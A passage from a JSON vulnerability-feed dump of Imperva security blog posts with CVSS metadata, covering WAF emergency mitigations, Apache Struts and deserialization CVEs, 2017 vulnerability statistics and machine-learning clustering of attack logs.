previously reported that the overall number of new web application vulnerabilities in 2017 showed a 212% increase from 2016\u2019s 6,615 to a whopping 14,082. This spike was due, in part, to high-profile vulnerabilities like Heartbleed, Shellshock, POODLE, Apache Struts 2 and more recently, Meltdown and Spectra.\n\nThere is, however, good news in the form of a new tool tasked with pushing mitigations for high-profile vulnerabilities like these to the SecureSphere [Web Application Firewall (WAF)](<https://www.imperva.com/products/application-security/web-application-firewall-waf/>) within a matter of hours.\n\n## Ongoing Vulnerability Protection\n\nTasking your security team with analyzing each and every vulnerability, deciding their relevance and applying the necessary mitigations is near impossible, which is why [virtual patching of your WAF](<https://www.imperva.com/blog/2017/03/deploy-instant-virtual-patching-on-securesphere-waf-with-highly-accurate-web-vulnerability-data/>) is so important. Not updating your WAF regularly is like wearing your old 80s jeans thinking you\u2019re still cool\u2026you\u2019re not. Imperva regularly releases mitigations for new vulnerabilities.\n\n> In today\u2019s tech landscape, where constantly up-leveled cyberattacks are one of the most prominent threats to corporate assets, timing is everything.\n\nOnce a [vulnerability is published](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) it\u2019s only a matter of time until attackers will exploit it. It only takes a few hours for high-quality code snippets to be published and by then, every script-kiddy has had the opportunity to run them against whomever they choose. In the case of a [2017 Apache Struts vulnerability](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>), for example, an official exploit was made public one day after the vulnerability was announced. Clearly, updating mitigations only once every few weeks is not enough.\n\n## The Answer: An Emergency Feed\n\nImperva has incorporated an emergency feed into our ThreatRadar subscription service as an extension of our WAF, which allows Imperva security researchers to push mitigations for high-profile vulnerabilities to the WAF in just a matter of hours. Our goal is to push mitigations via the emergency feed in no less than 24 hours from the time of the vulnerability\u2019s publication, so whether a new vulnerability hits the landscape in the middle of the night or your entire security team is on vacation, your WAF estate is protected.\n\n## So, how do we do it?\n\nTo apply mitigation through the emergency feed, a vulnerability must be remotely exploited, operational without authentication and have the potential to be highly impactful. In these cases, Imperva researchers analyze the vulnerability, understand its scope, and create the appropriate mitigation. The mitigation is then run through a wide set of Incapsula and SecureSphere customers, on real-world data, to observe its false positive rate and search for the vulnerabilities\u2019 variations. Only when our researchers are convinced that the new mitigation is stable and reliable will they push it into the emergency feed.\n\nSimply put, in just a few hours, all of Imperva\u2019s customers on Incapsula and SecureSphere WAFs are fully protected. The best part? There\u2019s no action required by your in-house security team. As soon as they\u2019re back in the office they have access to a report summarizing the nature of the vulnerability and the mitigation applied.\n\n## Included with ThreatRadar Subscription\n\nIf you\u2019re a SecureSphere customer with a [ThreatRadar](<https://www.imperva.com/products/threatradar-intelligence/>) subscription, the emergency feed is included and takes only a few clicks to enable. Incapsula customers receive this service out of the box \u2013 no registration required.\n\nFor SecureSphere customers with ThreatRadar subscription:\n\n 1. Check the **Emergency Feed** box on the customer portal to register.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/04/Emergency-Feed-1.png>)\n\n 1. In the Imperva SecureSphere WAF dashboard, enable the **Emergency Feed services** under the ThreatRadar tab.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/04/Emergency-Feed-2.png>)\n\nThat\u2019s it. The emergency feed is enabled and will begin receiving new mitigations immediately. With each content update, our researchers will remove the most recent mitigations from the emergency feed and permanently add them to your SecureSphere WAF, so your system is updated. You will be notified of updates via email.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-04-26T19:01:59", "type": "impervablog", "title": "Keeping Your WAF Relevant: Emergency Feed Pushes New Mitigations in Just Hours", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-04-26T19:01:59", "href": "https://www.imperva.com/blog/2018/04/keeping-waf-relevant-emergency-feed-pushes-new-mitigations-just-hours/", "id": "IMPERVABLOG:5E50E2263AEAFE98B90E01B16AA73334", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-09-09T07:20:50", "description": "Just two months ago we [published an analysis](<https://www.imperva.com/blog/2017/07/cve-2017-9791-rce-in-struts-showcase-app-in-struts-1-plugin/>) of a critical remote code execution (RCE) security vulnerability in Apache Struts. Now Apache Struts has published a new version fixing yet another critical RCE vulnerability (September 5, 2017).\n\n[CVE-2017-9805](<http://struts.apache.org/docs/s2-052.html>) is a vulnerability in Apache Struts related to using the Struts REST plugin with XStream handler to handle XML payloads. If exploited it allows a remote unauthenticated attacker to run malicious code on the application server to either take over the machine or launch further attacks from it.\n\n## Imperva Customers Protected\n\nIn addition to our zero-day protection rules that spotted this attack, we\u2019ve also published new dedicated security rules to provide maximum protection to Imperva SecureSphere and Incapsula WAF customers against this vulnerability. As of the publication date of this post, our systems have successfully blocked thousands of attacks from all over the world (see \"In the Wild\" section below).\n\n## Multiple Apache Struts Vulnerabilities in 2017\n\nAs mentioned above, this isn\u2019t the first time such a critical vulnerability has been found in Apache Struts. In fact, we\u2019ve seen an increasing amount of them in the Struts platform as several other RCE vulnerabilities have already been discovered since the beginning of 2017. The CVEs are summarized below.\n\n**Date** | **CVSS** | **Vulnerability** | **CVE** \n---|---|---|--- \n9/7/2017 | 9.3 | Apache Struts views/freemarker/FreemarkerManager.java Freemarker Tag Handling Remote Code Execution | 2017-12611 \n9/5/2017 | 10 | Apache Struts REST Plugin XStream XML Request Deserialization Remote Code Execution | 2017-9805 \n7/11/2017 | 5 | Apache Struts URL Validator Regular Expression URL Handling Remote DoS | 2017-7672, 2017-9804 \n7/11/2017 | 6.8 | Apache Struts Spring AOP Functionality Unspecified Remote DoS | 2017-9787 \n7/7/2017 | 10 | Apache Struts 1 Plugin for Struts 2 ActionMessage Class Error Message Input Handling Remote Code Execution | 2017-9791 \n3/6/2017 | 10 | Apache Struts Jakarta Multipart Parser File Upload Multiple Content Value Handling Remote Code Execution (Struts-Shock) | 2017-5638 \n \n## About the CVE-2017-9805 Vulnerability\n\nApache Struts contains a flaw in the REST Plugin XStream that is triggered as the program insecurely deserializes user-supplied input in XML requests. More specifically, the problem occurs in XStreamHandler\u2019s toObject () method, which does not impose any restrictions on the incoming value when using XStream deserialization into an object, resulting in arbitrary code execution vulnerabilities. More information about the vulnerability can be found [here](<https://lgtm.com/blog/apache_struts_CVE-2017-9805>).\n\n## In the Wild\n\nTo date, our systems have successfully blocked thousands of attacks from all over the world with China, as usual in Apache Struts vulnerabilities, identified as the most prominent source of attacks (see Figure 1).\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2017/09/Distribution-of-CVE-2017-9805-attacks-WW-1-2.png>)\n\n_Figure 1: Geo-distribution of CVE-2017-9805 attacks_\n\nIt is interesting to note that a single Chinese IP is responsible for more than 40% of the attack attempts that we registered. According to [Shodan](<https://www.shodan.io/>), this IP is registered to a large Chinese e-commerce company and runs an open SSH server which may indicate that this is a compromised machine. This machine tried to attack dozens of sites with different automated tools impersonating legitimate browsers such as cURL, wget, and Python-requests indicating the persistency of the attacker(s). [Unlike past vulnerabilities](<https://www.imperva.com/blog/2017/07/cve-2017-9791-rce-in-struts-showcase-app-in-struts-1-plugin/>), most of the attempted attacks (~80%) refer to exploitation attempts and only 20% refer to reconnaissance attempts to track vulnerable servers (see Figure 2). Exploitation attempts involved running operating systems such as shell, wget, or cURL in order to download malicious payload and take over the server to mount further attacks, usually [DDoS](<https://www.imperva.com/app-security/threatglossary/ddos-attacks/>), as part of a larger botnet.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2017/09/CVE-2017-9805-payload-by-percentage-2.jpg>)\n\n_Figure 2: Percentage of payload types of CVE-2017-9805 attack attempts_\n\n## Stay Protected with Virtual Patching\n\nBased on the official [advisory](<http://struts.apache.org/docs/s2-052.html>), this vulnerability affects applications using Struts 2.5 (Struts 2.5.12). There is no known workaround, meaning that an update is required for those who use these versions. It is also mentioned that backward compatibility is not ensured and that some REST actions stop working.\n\nAn immediate security measure organizations can use to protect against these types of vulnerabilities is virtual patching. Instead of leaving a web application exposed to attack while attempting to modify the code after discovering a vulnerability, virtual patching actively protects web apps from attacks, reducing the window of exposure and decreasing the cost of emergency fix cycles until you\u2019re able to patch them.\n\nLearn more about virtual patching and protecting web applications from vulnerabilities using [Imperva Incapsula WAF](<https://www.incapsula.com/website-security/web-application-firewall.html>) or [Imperva SecureSphere WAF](<https://www.imperva.com/Products/WebApplicationFirewall-WAF>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2017-09-08T16:10:08", "title": "CVE-2017-9805: Analysis of Apache Struts RCE Vulnerability in REST Plugin", "type": "impervablog", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9791", "CVE-2017-9805"], "modified": "2017-09-08T16:10:08", "id": "IMPERVABLOG:D4ED0576717DBEEDCF6B9B98BADC92BD", "href": "https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-12-28T17:52:36", "description": "As a web application firewall provider, part of our job at Imperva is constantly monitoring new security vulnerabilities. To do this, we use internal software that collects information from various data sources such as vulnerability databases, newsletters, forums, social media and more, integrate it into a single repository, and assess each vulnerability\u2019s priority. Having this kind of data puts us in a unique position to provide analysis of all web application vulnerabilities throughout the year, view trends and notice significant changes in the security landscape.\n\nAs we did [last year](<https://www.imperva.com/blog/2016/12/state-web-applications-vulnerabilities-2016/>), before we enter 2018, we took a look back at 2017 to understand the changes and trends in web application security over the past year.\n\nThis year we registered a record high number of web application vulnerabilities including well-known categories like [cross-site scripting](<https://www.imperva.com/app-security/threatglossary/cross-site-scripting-xss/>), but also new categories such as insecure [deserialization](<https://www.owasp.org/index.php/Deserialization_Cheat_Sheet>). In addition, the number of internet of things (IoT) vulnerabilities continued to grow and severely impact the security landscape. WordPress and PHP each continued to \u201cdominate\u201d in terms of vulnerabilities published in the content management system and server side technologies respectively. [Apache Struts vulnerabilities](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>), although the framework is less popular in the market at large, had a huge effect and were claimed to be the root cause of one of the biggest security breaches in 2017.\n\n## 2017 Web Application Vulnerabilities Statistics\n\nOne of the first stats we review is quantity, meaning how many vulnerabilities were published in 2017 and how that number compares to previous years.\n\nFigure 1 shows the number of vulnerabilities on a monthly basis over the last two years. We can see that the overall number of new vulnerabilities in 2017 (14,082) increased significantly (212%) compared to 2016 (6,615). According to our data, more than 50% of web application vulnerabilities have a public exploit available to hackers. In addition, more than a third (36%) of web application vulnerabilities don\u2019t have an available solution, such as a software upgrade workaround or software patch.\n\nAs usual, cross-site scripting (Figure 2) vulnerabilities are the majority (8%) of 2017 web application vulnerabilities. In fact, their amount has doubled since 2016.\n\n_Figure 1: Number of web application vulnerabilities in 2016-2017_\n\n## OWASP Top 10 View\n\nThis year [OWASP released](<https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf>) their long awaited \u201cTop 10\u201d list, which included two new risks:\n\n### Insecure Deserialization\n\nSerialization is the process of translating data structures or object state into a format that can be stored (for example, in a file or memory buffer) or transmitted (for example, across a network connection link) and reconstructed later (deserialization). Serialization is widely used in RPC, HTTP, databases, etc.\n\nApplications and APIs may be vulnerable if they deserialize hostile or tampered objects supplied by an attacker without proper sanitization. Therefore, we thought it would be interesting to view the security vulnerabilities in light of these changes.\n\n_Figure 2: Number and type of OWASP Top 10 vulnerabilities 2014-2017_\n\nThe amount of deserialization vulnerabilities from 2016-2017 (Figure 2) increased substantially from previous years which may explain how they \u201cearned\u201d their spot in the new OWASP Top 10 list. Today, more and more applications and frameworks are using standard APIs to communicate. Some of these APIs take serialized objects and deserialize them in return, which can explain the growing trend of insecure deserialization vulnerabilities.\n\n### Insufficient Logging and Monitoring\n\nAttackers rely on the lack of monitoring and timely response to achieve their goals without being detected. We have not found any vulnerabilities published in 2017 that are directly related to this category. It will be interesting to monitor it and see if that will change next year.\n\n## The Rise of the (IoT) Machines\n\nNowadays nearly every aspect of our lives is connected to the internet and we can find smart devices everywhere\u2014in our home refrigerator, TV, lights, doors, locks and even the clothes we wear. These devices are designed to send and receive information and thus are usually connected to the internet at all times. In many cases the vendors of smart devices neglect to secure them properly or even \u201cbackdoor\u201d them on purpose in order to gain hidden access.\n\n \n_Figure 3: IoT vulnerabilities 2014-2017_\n\n2017 registered a record high of 104 IoT-related vulnerabilities (Figure 3), a huge increase relative to previous years. The rising trend in the amount of vulnerabilities can be associated with their increasing popularity in our modern lives and advances in IoT technology that make IoT devices cheaper and accessible to more people.\n\nOne of the most popular vulnerability types in IoT devices (35%) is using default or easy to guess credentials in order to gain access to the device and take control of it. Once the device is controlled by the attacker it can be used to mount any kind of attack. Earlier this year the well-known [Mirai malware used this kind of vulnerability](<https://www.incapsula.com/blog/malware-analysis-mirai-ddos-botnet.html>) (default credentials) to spread itself through the network. Once the malware gained access to the device, it turned it into a remote-controlled bot that was used as part of huge a DDoS attack.\n\n## Content Management Systems\n\nWhen analyzing content management system (CMS) frameworks, we decided to concentrate on the four leading platforms that account for [60% of the market share](<https://w3techs.com/technologies/overview/content_management/all>)\u2014WordPress, Joomla, Drupal and Magento.\n\n_Figure 4: Number of vulnerabilities by CMS platform 2016-2017_\n\n### WordPress\n\nAs suspected, WordPress vulnerabilities continue to be the lion\u2019s share of all CMS-related vulnerabilities. In fact, WordPress vulnerabilities (418) have increased by ~400% since 2016 (Figure 4).\n\nFurther analysis of WordPress vulnerabilities showed that 75% of the 2017 vulnerabilities originated from third-party vendor plug-ins (Figure 5).\n\n_Figure 5: WordPress third party vendor vulnerabilities in 2017_\n\nThe rise in the number of vulnerabilities can be explained by the growth of WordPress (Figure 6) and because [third party plug-in](<https://www.wpwhitesecurity.com/wordpress-security/statistics-highlight-main-source-wordpress-vulnerabilities/>) code is notoriously known for its bad security.\n\n**Year** | **Number of WordPress Plug-ins** \n---|--- \n**2015** | 41,347 \n**2016** | 48,044 \n**2017** | 53,357 \n \n_Figure 6: WordPress plug-in's trend_\n\n## Server-side Technologies\n\nPHP is still the most prevalent server-side language, therefore it\u2019s expected be associated with the highest number of vulnerabilities. In 2017, 44 vulnerabilities in PHP were published (Figure 7) which is a significant decrease (-143%) from the number of PHP vulnerabilities in 2016 (107) (see Figure 7). At the end of 2015, PHP released a major version, 7.0, after almost a year and half with no updates, which can explain the growth in the number of vulnerabilities in 2016. Last year PHP released a minor version, 7.1 (December 2016), with slight changes which can explain the decrease in the number of vulnerabilities in 2017.\n\n_Figure 7: Top server-side technology vulnerabilities 2014-2017_\n\n## The Year of Apache Struts\n\nAlthough 2017 listed fewer vulnerabilities in the Apache Struts framework (Figure 8), their impact was huge as some of them included unauthenticated [remote code execution](<https://www.imperva.com/blog/2017/01/remote-code-execution-rce-attacks-apache-struts/>) (RCE) which basically means that anyone can hack and take over the server, access private information and more.\n\n_Figure 8: Apache Struts and remote code execution vulnerabilities in 2014-2017_\n\nWe have previously blogged about this [specific vulnerability](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) and [multiple other Apache Struts](<https://www.imperva.com/blog/2017/09/cve-2017-9805-analysis-of-apache-struts-rce-vulnerability-in-rest-plugin/>) vulnerabilities in detail. They\u2019re worth checking out if you haven\u2019t already.\n\n## Predictions Toward 2018\n\nAs a security vendor, we\u2019re often asked about our predictions. Here are a couple of possible vulnerabilities trends for 2018:\n\n * Cross-site scripting vulnerabilities will continue to lead mainly because of the rise of [cryptojacking](<https://www.wired.com/story/cryptojacking-cryptocurrency-mining-browser/>) and the increasing popularity of server-side technologies that utilize JavaScript (e.g., Node.JS).\n * More authentication-related vulnerabilities from the family of \u201cdefault/guessable credentials\u201d will be discovered (especially in IoT devices) and exploited in order to herd new botnets. These botnets can be used to mount any kind of large scale attacks\u2014DDoS, brute force and more.\n\n## How to Protect Your Apps and Data\n\nOne of the best solutions for protecting against web application vulnerabilities is to deploy a [web application firewall](<https://www.imperva.com/products/application-security/web-application-firewall-waf/>) (WAF).

In this final blog post, we\u2019ll discuss the clustering algorithm itself \u2013 how to use the distance we calculated to create clusters from the data. We will discuss clustering in real time when only a small amount of data can be stored in memory. Finally, we\u2019ll show some results of the algorithm based on real data from Imperva customers.\n\n## Choosing a (realtime) clustering algorithm\n\nNow we have all the basic ingredients to input into the algorithm. What\u2019s left to decide is which clustering algorithm to use. There are many algorithms to choose from that meet varying needs, for example, we\u2019ve previously written about [clustering](<https://www.imperva.com/blog/2017/07/clustering-and-dimensionality-reduction-understanding-the-magic-behind-machine-learning/>) techniques used in Imperva CounterBreach.\n\nHere\u2019s where the algorithm reality punched us right in the face: the demand from our engineering team was that the **clustering is done in** **real time**. Meaning each time a new event enters the system the algorithm needs to decide on the spot how to cluster it and update the current clustering state. This had been done with minimum memory, which meant that individual events could not be stored in memory.\n\nThe more popular and well-known clustering algorithms work on a batch of data instead of a stream, i.e., their input is a static dataset. So, this real-time requirement meant we had to look for other algorithms that work in streaming mode.\n\nThere are a [couple of methods](<https://en.wikipedia.org/wiki/Data_stream_clustering>) to use to cluster a stream of data. We won\u2019t discuss these methods as they are more complex and technical, instead, we\u2019ll present the requirements of our algorithm and what was needed for them to be met.\n\n## Clustering requirements in streaming mode\n\nFirst, a clustering algorithm in streaming mode needs to make decisions in real time, meaning that the algorithm maintains in memory a current state of the clusters and each time a new event enters the system the algorithm updates the clustering state. This is done instantaneously and without storing the discrete event in memory.\n\nSecond, we need to remember that each time the algorithm was making a decision it was doing so based on partial data. That\u2019s because the algorithm only processed past data. If the algorithm were to know **all **of the events (past and future events) the decision it would make might be different. So, the algorithm must have a way to **undo decisions** it made in the past. The way the algorithm undoes its decisions is by splitting a cluster into smaller parts and merging the parts together into other clusters that are the best fit.\n\nFinally, most of the streaming clustering algorithms from academic articles work on spatial data. This means that their input are points in a Euclidean space (think of it as coordinates in an n-dimensional space). Our data is more complex, it contains URLs which are strings, IPs, geographic coordinates and other varying features. These features cannot be easily embedded into a Euclidean space, and even if they would it would make no sense to do so. So, the algorithm we needed must assume only that we can calculate the distance between two data points, and not that they are embedded into a Euclidean space.\n\nWe used a homegrown algorithm to answer these needs. Clustering in streaming mode is always a trade-off between accuracy of the results and the time and memory efficiency. We tried to find the balance so the result would be as accurate as possible storing only the minimum amount of data needed in memory while performing the least possible amount of calculations with each incoming event. See Figure 7 for the general flow of clustering in streaming mode.\n\n[](<https://www.imperva.com/blog/wp-content/uploads/2018/05/Clustering.png>)\n\nFigure 7: Clustering in streaming mode - clusters may change due to new events entering the system\n\nWe stored aggregated structured data in memory instead of raw events; this way we were able to split clusters, to some extent, and rearrange them as would seem most appropriate. Also, in order to process data in real time, most of the time we used a light-weight distance function that wouldn\u2019t take too much time to calculate and didn\u2019t consider all the features. We used a heavier and more accurate distance function that considered all the features only at predefined times when there were enough new events that entered the system, as we expected the clustering state might change significantly.\n\nAlso, for performance considerations, we couldn\u2019t cluster all the events from the beginning each time a new event entered the system. That\u2019s why every time a new event came in the algorithm used its current clustering state to do calculations only on the clusters that may change due to the new event. This way we significantly reduced the time it took to process each new event.\n\n## Results of the algorithm: Customer use cases\n\nFor validation of the algorithm, some of our web application firewall (WAF) customers provided us with logs containing events from their WAF. Here are three highlighted clusters which contain incidents we thought were interesting:\n\n### Nginx integer overflow\n\nCVE-2017-7529 is a vulnerability of Nginx that allows an attacker to launch an integer overflow attack using a crafted \u201crange\u201d header. We saw a cluster on a customer\u2019s WAF containing over two thousand attacks from over 100 distinct IPs over a period of three days trying to exploit this vulnerability. Over 80% of the attacks came from the US and most of the attacks seemed to use the same attack tool. Also, the attack targeted many different URLs, although it targeted only two resource extensions: PDF and CFM.\n\n### Email harvesting\n\nEmail collector robots try to scrape web applications to find email addresses. The purpose for email harvesting is mostly to collect lists of emails in order to sell them to spammers. We saw a cluster on a customer\u2019s WAF which contained over 50 distinct IPs that performed email harvesting. The source of these attacks was very distributed, from the US, Europe, South America and Asia. Most of the targets were the home page of the application. This means that after the robots were blocked at the home page they didn\u2019t proceed to scrape the rest of the site, probably moving on to try other websites which are not protected by a WAF. The same cluster was also found in more than five different web applications we analyzed indicating this is a popular attack.\n\n### Attacks on Apache Struts vulnerabilities\n\nIn [previous blog posts](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) we discussed Apache Struts vulnerabilities, and how they are very popular among attackers, especially ones from Asian countries. [CVE-2017-5638](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>) is an Apache Struts vulnerability published on March 2017 that allows attackers to launch remote code execution attacks using a crafted \u201ccontent-type\u201d header. We saw a cluster of attacks trying to utilize this vulnerability; most of the attacks came from China and the target was very distributed, containing multiple URLs. Also, in addition to this specific vulnerability, the attackers tried to utilize other vulnerabilities of Apache Struts. This is a popular phenomenon we see in our data: attackers trying to utilize different vulnerabilities of the same system, in this case Apache Struts. The cluster appeared on over ten different web applications we analyzed, and all the clusters contained similar attributes. This indicates the popularity of Apache Struts vulnerabilities among attackers.\n\n## Conclusion\n\nClustering application attacks is a challenging task that requires a lot of research and experimentation. Throughout the process, we encountered many difficulties and made a number of decisions regarding the algorithm. Many due to real life constraints not seen in academic research. Customer applications don\u2019t live in a lab so the solutions that protect them can\u2019t either.\n\nKnowledge of the application security domain and a deep understanding of data are both \u2013 in our experience \u2013 crucial prerequisites for the design and implementation of any successful machine learning algorithm built to protect apps and the data that connects to them.\n\nLearn more about protecting apps from attacks with [Imperva SecureSphere](<https://www.imperva.com/Products/WebApplicationFirewall-WAF>) or [Imperva Incapsula](<https://www.incapsula.com/website-security/web-application-firewall.html>) Web Application Firewall.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-06-19T22:41:03", "type": "impervablog", "title": "Clustering App Attacks with Machine Learning Part 3: Algorithm Results", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2017-7529"], "modified": "2018-06-19T22:41:03", "id": "IMPERVABLOG:697E34BE77BECD65BF763ECF92DD1B9F", "href": "https://www.imperva.com/blog/2018/06/clustering-app-attacks-with-machine-learning-part-3-algorithm-results/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-01-25T09:59:26", "description": "Imperva\u2019s research group is constantly monitoring new web application vulnerabilities. In doing so, we\u2019ve noticed at least four major insecure deserialization vulnerabilities that were published in the past year.\n\nOur analysis shows that, in the past three months, the number of deserialization attacks has grown by 300 percent on average, turning them into a serious security risk to web applications.\n\nTo make things worse, many of these attacks are now launched with the intent of installing crypto-mining malware on vulnerable web servers, which gridlocks their CPU usage.\n\nIn this blog post we will explain what insecure deserialization vulnerabilities are, show the growing trend of attacks exploiting these vulnerabilities and explain what attackers do to exploit them (including real-life attack examples).\n\n## What Is Serialization?\n\nThe process of serialization converts a \u201clive\u201d object (structure and/or state), like a Java object, into a format that can be sent over the network, or stored in memory or on disk. Deserialization converts the format back into a \u201clive\u201d object.\n\nThe purpose of serialization is to preserve an object, meaning that the object will exist outside the lifetime of the local machine on which it is created.\n\nFor example, when withdrawing money from an ATM, the information of the account holder and the required operation is stored in a local object. Before this object is sent to the main server, it is serialized in order to perform and approve the needed operations. The server then deserializes the object to complete the operation.\n\n## Types of Serialization\n\nThere are many types of [serialization](<https://en.wikipedia.org/wiki/Serialization#Serialization_formats>) available, depending on the object which is being serialized and on the purpose. Almost all modern programming languages support serialization. In Java for example an object is converted into a compact representation using byte stream, and the byte stream can then be reverted back into a copy of that object.\n\nOther types of serialization include converting an object into a hierarchical format like JSON or XML. The advantage of this serialization is that the serialized objects can be read as plain text, instead of a byte stream.\n\n## Deserialization Vulnerabilities from the Past Three Months\n\nIn the [OWASP top 10 security risks of 2017](<https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf>) insecure deserialization came in at [eighth place](<https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization>) and rightfully so as we argued in our [previous blog](<https://www.imperva.com/blog/2017/12/the-state-of-web-application-vulnerabilities-in-2017/>) about the state of web application vulnerabilities in 2017.\n\nIn 2017, major new vulnerabilities related to insecure serialization, mostly in Java, were published (see Figure 1).\n\n**Name** | **Release Date (Day/Month/Year)** | **Vulnerability details** \n---|---|--- \nCVE-2017-12149 | 01/08/2017 | Vulnerability in the JBoss Application Server allows execution of arbitrary code via crafted serialized data because the HTTP Invoker does not restrict classes for which it performs deserialization \nCVE-2017-10271 | 21/06/2017 | Vulnerability in the Oracle WebLogic Server allows execution of arbitrary code due to insufficient sanitizing of user supplied inputs in the wls-wsat component \nCVE-2017-9805\n\n | 21/06/2017 | The REST Plugin in Apache Struts uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to remote code execution when deserializing XML payloads. \nCVE-2017-7504 | 05/04/2017 | The HTTPServerILServlet.java in JMS allows remote attackers to execute arbitrary code via crafted serialized data because it does not restrict the classes for which it performs deserialization \n \n_Figure 1: CVEs related to insecure deserialization_\n\nIn order to understand the magnitude of these vulnerabilities, we analyzed attacks from the past three months (October to December of 2017) that try to exploit insecure deserialization. A key observation is the _steep_ increase of deserialization attacks in the past few months, as can be seen in the Figure 2.\n\n \n_Figure 2: Insecure deserialization attacks over the course of three months_\n\nMost of the attackers used no attack vectors other than insecure deserialization. We noticed that each attacker was trying to exploit different vulnerabilities, with the above-mentioned CVEs being the most prevalent.\n\nFor a full list of CVEs related to insecure deserialization from the past few years see Figure 3.\n\n**Name** | **Relevant System** | **Public Exploit** | **Name** | **Relevant System** | **Public Exploit** \n---|---|---|---|---|--- \nCVE-2017-9844 | SAP NetWeaver | Yes | CVE-2016-2170 | Apache OFBiz | No \nCVE-2017-9830 | Code42 CrashPlan | No | CVE-2016-2003 | HP P9000, XP7 Command View Advanced Edition (CVAE) Suite | No \nCVE-2017-9805 | Apache Struts | Yes | CVE-2016-2000 | HP Asset Manager | No \nCVE-2017-7504 | Red Hat JBoss | Yes | CVE-2016-1999 | HP Release Control | No \nCVE-2017-5878 | Apache OpenMeetings | Yes | CVE-2016-1998 | HP Service Manager | No \nCVE-2017-5645 | Apache Log4j | No | CVE-2016-1997 | HP Operations Orchestration | No \nCVE-2017-5641 | Apache BlazeDS | Yes | CVE-2016-1986 | HP Continuous Delivery Automation | No \nCVE-2017-5586 | OpenText Documentum D2 | Yes | CVE-2016-1985 | HP Operations Manager | No \nCVE-2017-3159 | Apache Camel | Yes | CVE-2016-1487 | Lexmark Markvision Enterprise | No \nCVE-2017-3066 | Adobe ColdFusion | Yes | CVE-2016-1291 | Cisco Prime Infrastructure | Yes \nCVE-2017-2608 | 